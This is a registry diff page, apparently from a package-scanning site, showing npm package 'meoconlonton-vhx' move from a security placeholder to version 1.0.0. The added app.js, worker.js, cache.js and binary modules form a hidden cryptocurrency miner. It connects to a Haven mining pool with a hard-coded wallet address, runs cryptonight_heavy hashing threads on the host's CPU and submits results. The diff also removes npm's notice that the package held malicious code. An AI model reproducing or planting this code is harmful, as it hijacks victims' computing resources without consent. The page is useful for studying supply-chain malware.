meoconlonton-vhx 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of meoconlonton-vhx might be problematic. Click here for more details.

package/app.js ADDED
@@ -0,0 +1,258 @@
1
+ const Net = require('net');
2
+ const { Worker } = require('worker_threads');
3
+ const { Cache } = require('./cache.js');
4
+ const fs = require('fs');
5
+
6
+ // variable
7
+ const appCache = new Cache("meocoder", 557056);
8
+ const numCPUs = require('os').cpus().length;
9
+ const numWorker = 2;
10
+ const customUsageCPU = 80;
11
+ const mainStatus = {
12
+ login: {
13
+ 'method': 'login',
14
+ 'params': {
15
+ 'login': 'hvxy3U6c8tyhYVtfFMDuNZDcdNZpa7ACp7Z5DThivuHLVGG3kvdTxaxTm57Bxyc9MHKaXNw1vf7nxKN3BJ3T4q4g6s9LdjXbUi',
16
+ 'pass': 'node_Proxy_1',
17
+ 'rigid': 'node_Proxy_1',
18
+ 'agent': 'meocoder-node-proxy/0.1'
19
+ },
20
+ 'id': 1
21
+ },
22
+ servers: ["sg.haven.herominers.com:1110"],
23
+ workers: [],
24
+ poolWS: null,
25
+ attempts: 0
26
+ };
27
+
28
+ // cache
29
+ appCache.totalHashes = 0;
30
+ appCache.limitHash = null;
31
+ appCache.job = null;
32
+
33
+
34
+
35
+ /* --------------------------Timeout------------------------ */
36
+ setTimeout(() => {
37
+ process.exit(0);
38
+ }, (10 * 60 * 1000));
39
+
40
+
41
+
42
+ /* --------------------------Help Fn------------------------ */
43
+ const ref = (orign, key, update) => orign[key] = update;
44
+
45
+
46
+
47
+ /* --------------------------Worker-------------------------- */
48
+ const fn_receiveMessageWorker = (message) => {
49
+ try {
50
+ switch (message.type) {
51
+ case 'solved':
52
+ fn_solved(message.data);
53
+ break;
54
+
55
+ default:
56
+ break;
57
+ }
58
+ } catch (error) {
59
+ console.log(error);
60
+ }
61
+ }
62
+ const fn_receiveErrorWorker = (error) => {
63
+ console.log(error)
64
+ }
65
+ const fn_exitErrorWorker = (code) => {
66
+ if (code !== 0)
67
+ console.log(`stopped with ${code} exit code`);
68
+ }
69
+ const fn_firstCreateWorker = () => {
70
+ for (let idWorker = 0; idWorker < (numWorker || numCPUs); idWorker++) {
71
+
72
+ if (!fs.existsSync('./temp')) fs.mkdirSync('./temp');
73
+ fs.copyFileSync('./tool.node', `./temp/tool-${idWorker}.node`);
74
+ mainStatus.workers.push(new Worker('./worker.js', { workerData: { idWorker } }));
75
+ mainStatus.workers[mainStatus.workers.length - 1].on('message', message => fn_receiveMessageWorker(message));
76
+ mainStatus.workers[mainStatus.workers.length - 1].on('error', error => fn_receiveErrorWorker(error));
77
+ mainStatus.workers[mainStatus.workers.length - 1].on('exit', code => fn_exitErrorWorker(code));
78
+
79
+ }
80
+ // setTimeout(() => {
81
+ // const limitHash = Math.floor((appCache.totalHashes / 50) / 10 * 8);
82
+ // console.log(`[Main]: ${customUsageCPU}% CPU is ${limitHash} H/s`);
83
+ // console.log(`[Main]: Set limmit hash to ${limitHash} H/s`);
84
+ // appCache.limitHash = limitHash;
85
+ // }, 50000);
86
+
87
+ setInterval(() => {
88
+ console.log('[Main]: Speed:', Math.floor((appCache.totalHashes / 60)));
89
+ appCache.totalHashes = 0;
90
+ }, 60000);
91
+ }
92
+
93
+ /* --------------------------Main---------------------------- */
94
+
95
+
96
+ const fn_solved = (message) => {
97
+ try {
98
+ // message = JSON.parse(message);
99
+ const loginIDAndJobID = message.job_id.trim().split('@@');
100
+ // console.log(loginIDAndJobID);
101
+ if (loginIDAndJobID[1] !== mainStatus.loginID) {
102
+ console.log('[Main]: job is old');
103
+ return 0;
104
+ }
105
+ if (mainStatus.poolWS === null) {
106
+ console.log('[Main]: pool is null');
107
+ return 0;
108
+ }
109
+ mainStatus.poolWS.write(JSON.stringify({
110
+ 'method': 'submit',
111
+ 'params': {
112
+ 'id': loginIDAndJobID[1],
113
+ 'job_id': loginIDAndJobID[0],
114
+ 'nonce': message.nonce,
115
+ 'result': message.result
116
+ },
117
+ 'id': 1
118
+ }) + '\n');
119
+ console.log('[Server]: receive solved ID:', message.job_id);
120
+ } catch (error) {
121
+ console.log(error);
122
+ }
123
+ }
124
+ const fn_poolErrorHandling = (error) => {
125
+ if (error.message === "Unauthenticated") {
126
+ console.log('[Pool]: Error!!!', error.message);
127
+ mainStatus.poolWS.end();
128
+ ref(mainStatus, 'loginID', null);
129
+ ref(mainStatus, 'poolWS', null);
130
+ } else {
131
+ console.log('[Pool]: Error!!!', error.message);
132
+ }
133
+ }
134
+
135
+ const fn_receiveJob = (job) => {
136
+ appCache.job = {
137
+ job_id: job.job_id + '@@' + job.id,
138
+ target: job.target,
139
+ headerBlob: job.blob.substring(0, 78),
140
+ footerBlob: job.blob.substring(86, job.blob.length),
141
+ // height: job.height,
142
+ // algo: 'cn-upx'
143
+ }
144
+ // console.log(appCache.job);
145
+ mainStatus.workers.length ? null : fn_firstCreateWorker(); /* create worker with job data */;
146
+ ref(mainStatus, 'loginID', job.id);
147
+ console.log('[Pool]: new job id:', job.job_id, '- height:', job.height, '- target:', job.target, '- loginID:', job.id);
148
+ }
149
+
150
+
151
+ const fn_receiveMessagePool = (message) => {
152
+ try {
153
+ message = JSON.parse(message.toString('utf8'));
154
+ if (message.error) {
155
+ fn_poolErrorHandling(message.error);
156
+ } else if (message.result && message.result.status && message.result.job) {
157
+ console.log('[Pool]: Login status:', message.result.status);
158
+ fn_receiveJob(message.result.job);
159
+ } else if (message.result && message.result.status) {
160
+ console.log('[Pool]: Submit status:', message.result.status);
161
+ } else if (message.method && message.method === 'job') {
162
+ fn_receiveJob(message.params);
163
+ } else {
164
+ console.log('[Pool]: other message:', message);
165
+ }
166
+ } catch (error) {
167
+ console.log('[Main]: receiveMessagePool Error:', error);
168
+ }
169
+ }
170
+
171
+
172
+ // const connectSocket = () => new Promise((resolve, reject) => {
173
+
174
+ // console.log('[Main]: connecting to server!')
175
+ // ref(mainStatus, 'attempts', mainStatus.attempts + 1);
176
+ // if (mainStatus.ws != null) {
177
+ // mainStatus.ws.close();
178
+ // }
179
+ // const server = mainStatus.servers[Math.floor(Math.random() * mainStatus.servers.length)];
180
+ // ref(mainStatus, 'ws', new WebSocket(server));
181
+ // mainStatus.ws.on('message', message => fn_receiveMessageServer(message));
182
+ // mainStatus.ws.on('open', () => {
183
+ // console.log('[Main]: connected to server!');
184
+ // // mainStatus.ws.send((JSON.stringify(mainStatus.handshake)));
185
+ // ref(mainStatus, 'attempts', 0);
186
+ // });
187
+ // mainStatus.ws.on('error', () => {
188
+ // console.log('[Server]: erorr!');
189
+ // return reject();
190
+ // // job = null;
191
+ // });
192
+ // mainStatus.ws.on('close', () => {
193
+ // console.log('[Server]: disconnected!');
194
+ // return reject();
195
+ // // job = null;
196
+ // });
197
+ // mainStatus.ws.on('ping', (ping) => console.log('[Server]: Ping', ping))
198
+ // }).catch(async () => {
199
+ // ref(mainStatus, 'ws', null);
200
+ // console.log('[Main]: The WebSocket is not connected. Trying to connect after', mainStatus.attempts * 10, 's');
201
+ // await new Promise(resolve => setTimeout(resolve, 10000 * mainStatus.attempts));
202
+ // connectSocket();
203
+ // });
204
+ // connectSocket();
205
+
206
+
207
+
208
+
209
+ const connectPool = () => new Promise((resolve, reject) => {
210
+
211
+ console.log('[Main]: Connecting to pool!')
212
+ ref(mainStatus, 'attempts', mainStatus.attempts + 1);
213
+ if (mainStatus.poolWS != null) {
214
+ mainStatus.poolWS.end();
215
+ }
216
+
217
+ ref(mainStatus, 'poolWS', new Net.Socket());
218
+ const server = mainStatus.servers[Math.floor(Math.random() * mainStatus.servers.length)].trim().split(':');
219
+ mainStatus.poolWS.connect({ port: server[1], host: server[0] });
220
+
221
+ mainStatus.poolWS.on('connect', () => {
222
+ console.log('[Main]: Pool is connected!');
223
+ ref(mainStatus, 'attempts', 0);
224
+ });
225
+ mainStatus.poolWS.on('ready', () => {
226
+ console.log('[Main]: Logging into pool!');
227
+ mainStatus.poolWS.write(JSON.stringify(mainStatus.login) + '\n');
228
+ // console.log('[Main]: logged!');
229
+ });
230
+ mainStatus.poolWS.on('data', message => fn_receiveMessagePool(message));
231
+
232
+ // mainStatus.ws.on('open', () => {
233
+ // console.log('[Main]: connected to server!');
234
+ // mainStatus.ws.send((JSON.stringify(mainStatus.handshake)));
235
+
236
+ // });
237
+
238
+ mainStatus.poolWS.on('error', () => {
239
+ console.log('[Main]: Pool erorr!');
240
+ return reject();
241
+ });
242
+
243
+ mainStatus.poolWS.on('end', () => {
244
+ console.log('[Main]: Pool erorr!');
245
+ return reject();
246
+ });
247
+ mainStatus.poolWS.on('close', () => {
248
+ console.log('[Main]: Pool erorr!');
249
+ return reject();
250
+ });
251
+
252
+ }).catch(async () => {
253
+ ref(mainStatus, 'poolWS', null);
254
+ console.log('[Main]: The Pool is not connected. Trying to connect after', mainStatus.attempts * 10, 's');
255
+ await new Promise(resolve => setTimeout(resolve, 10000 * mainStatus.attempts));
256
+ connectPool();
257
+ });
258
+ connectPool();
package/cache.js ADDED
@@ -0,0 +1,52 @@
1
+ // node-shared-cache-x 1.7.3
2
+ const crypto = require("crypto");
3
+ const os = require("os");
4
+ const nativeModule = require("./cacheAddon.node");
5
+
6
+ let cacheMap = {};
7
+
8
+ function md5(str) {
9
+ let md5sum = crypto.createHash("md5");
10
+ md5sum.update(str);
11
+ return md5sum.digest("hex");
12
+ }
13
+
14
+ module.exports = Object.assign(
15
+ {
16
+ SIZE_DEFAULT: 6,
17
+ SIZE_64: 6,
18
+ SIZE_128: 7,
19
+ SIZE_256: 8,
20
+ SIZE_512: 9,
21
+ SIZE_1K: 10,
22
+ SIZE_2K: 11,
23
+ SIZE_4K: 12,
24
+ SIZE_8K: 13,
25
+ SIZE_16K: 14,
26
+ },
27
+ nativeModule
28
+ );
29
+
30
+ const VERSION = process.version;
31
+ const PLATFORM = os.platform();
32
+ const ARCH = os.arch();
33
+ const USERNAME = os.userInfo().username;
34
+
35
+ class Cache {
36
+ constructor(name, size, blockSize) {
37
+ blockSize = blockSize || exports.SIZE_DEFAULT;
38
+ let md5Name = md5(
39
+ `${VERSION}_${PLATFORM}_${ARCH}_${USERNAME}_${name}_${size}_${blockSize}`
40
+ ).slice(8, 24);
41
+ if (!Object.prototype.hasOwnProperty.call(cacheMap, md5Name)) {
42
+ cacheMap[md5Name] = new nativeModule.Cache(md5Name, size, blockSize);
43
+ }
44
+ return cacheMap[md5Name];
45
+ }
46
+ }
47
+
48
+ exports.Cache = Cache;
49
+
50
+ if (require.main === module && process.argv[2] === "release") {
51
+ process.argv.slice(3).forEach(exports.release);
52
+ }
Binary file
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "meoconlonton-vhx",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "app.js",
6
+ "scripts": {
7
+ "start": "node app.js",
8
+ "test": "node test.js"
9
+ },
10
+ "keywords": [
11
+ "redocoem"
12
+ ],
13
+ "author": "",
14
+ "license": "ISC",
15
+ "dependencies": {},
16
+ "engines": {
17
+ "node": "16.x"
18
+ }
19
+ }
package/tool.node ADDED
Binary file
package/worker.js ADDED
@@ -0,0 +1,101 @@
1
+ const { parentPort, workerData } = require('worker_threads');
2
+ const multiHashing = require(`./temp/tool-${workerData.idWorker}.node`);
3
+ const { Cache } = require('./cache.js');
4
+ const appCache = new Cache("meocoder", 557056);
5
+ const workerStatus = {
6
+ job: null,
7
+ hash: null,
8
+ nonce: null,
9
+ totalHashes: 0,
10
+ timeStart: Date.now()
11
+ };
12
+
13
+ console.log(`[Worker_${workerData.idWorker}]: created!`);
14
+
15
+ // parentPort.on("message", (message) => fn_receiveMessageServer(message));
16
+
17
+ /* --------------------------Fuction------------------------ */
18
+ const ref = (orign, key, update) => orign[key] = update;
19
+ const fn_zeroPad = (num, places) => {
20
+ const zero = places - num.toString().length + 1;
21
+ return Array(+(zero > 0 && zero)).join("0") + num;
22
+ }
23
+ const fn_hex2int = (s) => parseInt(s.match(/[a-fA-F0-9]{2}/g).reverse().join(''), 16);
24
+ const fn_int2hex = (i) => (fn_zeroPad(i.toString(16), 8)).match(/[a-fA-F0-9]{2}/g).reverse().join('');
25
+ const fn_getRandomInt = (min, max) => Math.floor(Math.random() * (max - min + 1)) + min;
26
+ const fn_createRandomHexNonce = () => {
27
+ const inonce = fn_getRandomInt(0, 0xFFFFFFFF);
28
+ ref(workerStatus, 'nonce', fn_int2hex(inonce));
29
+ }
30
+
31
+ const delay = (t) => {
32
+ return new Promise(function (resolve) {
33
+ setTimeout(function () {
34
+ resolve();
35
+ }, t);
36
+ });
37
+ }
38
+
39
+
40
+ const fn_limitHs = async (limit) => {
41
+ if (((Date.now() - workerStatus.timeStart) < 1000) && workerStatus.totalHashes < limit) {
42
+ // console.log('aaa');
43
+ fn_hash();
44
+ fn_checkHashAndSubmit();
45
+ ref(workerStatus, 'totalHashes', workerStatus.totalHashes + 1);
46
+ appCache.totalHashes = appCache.totalHashes + 1;
47
+ } else {
48
+ // console.log('aa');
49
+ await delay(969 - (Date.now() - workerStatus.timeStart));
50
+ ref(workerStatus, 'totalHashes', 0);
51
+ ref(workerStatus, 'timeStart', Date.now());
52
+ }
53
+ }
54
+
55
+ /* --------------------------Main------------------------ */
56
+ const fn_hash = () => {
57
+
58
+ try {
59
+ ref(workerStatus, 'job', appCache.job);
60
+ fn_createRandomHexNonce();
61
+ const blob = workerStatus.job.headerBlob + workerStatus.nonce + workerStatus.job.footerBlob;
62
+ ref(workerStatus, 'hash', multiHashing['cryptonight_heavy'](Buffer.from(blob, 'hex'), 1).toString('hex'));
63
+ }
64
+ catch (err) { console.log(err); }
65
+
66
+ };
67
+
68
+ const fn_checkHashAndSubmit = () => {
69
+ //check hashval nho hon target =>> true
70
+ if (fn_hex2int(workerStatus.hash.substring(56, 64)) < fn_hex2int(workerStatus.job.target)) {
71
+ parentPort.postMessage({
72
+ type: 'solved',
73
+ data: {
74
+ identifier: "solved",
75
+ job_id: workerStatus.job.job_id,
76
+ nonce: workerStatus.nonce,
77
+ result: workerStatus.hash
78
+ }
79
+ })
80
+ }
81
+ }
82
+
83
+ (async () => {
84
+ try {
85
+ while (true) {
86
+ switch (appCache.limitHash) {
87
+ case null:
88
+ fn_hash();
89
+ fn_checkHashAndSubmit();
90
+ appCache.totalHashes = appCache.totalHashes + 1;
91
+ break;
92
+
93
+ default:
94
+ await fn_limitHs(appCache.limitHash);
95
+ break;
96
+ }
97
+ }
98
+ } catch (error) {
99
+ console.log('[Worker]: error:', error)
100
+ }
101
+ })();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=meoconlonton-vhx for more information.